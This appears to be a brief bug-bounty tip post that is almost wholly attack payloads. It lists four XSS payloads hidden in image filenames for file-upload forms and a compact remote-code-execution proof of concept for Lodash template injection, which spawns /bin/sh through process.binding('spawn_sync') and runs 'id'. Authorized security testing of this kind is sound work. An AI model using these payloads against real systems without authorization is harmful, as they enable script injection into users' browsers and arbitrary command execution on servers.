#BugBounty
If you find a file upload function for an image, try introducing an image with XSS in the filename like so:
<img src=x onerror=alert('XSS')>.png
"><img src=x onerror=alert('XSS')>.png
"><svg onmouseover=alert(1)>.svg
<<script>alert('xss')<!--a-->a.png
Exploited Lodash SSTI with @iamnoooob via process binding spawn_sync. Here's a tweetable RCE PoC
${x=Object}${w=a=new x}${w.type="pipe"}${w.readable=1}${w.writable=1}${a.file="/bin/sh"}${a.args=["/bin/sh","-c","id"]}${a.stdio=[w,w]}${process.binding("spawn_sync").spawn(a).output}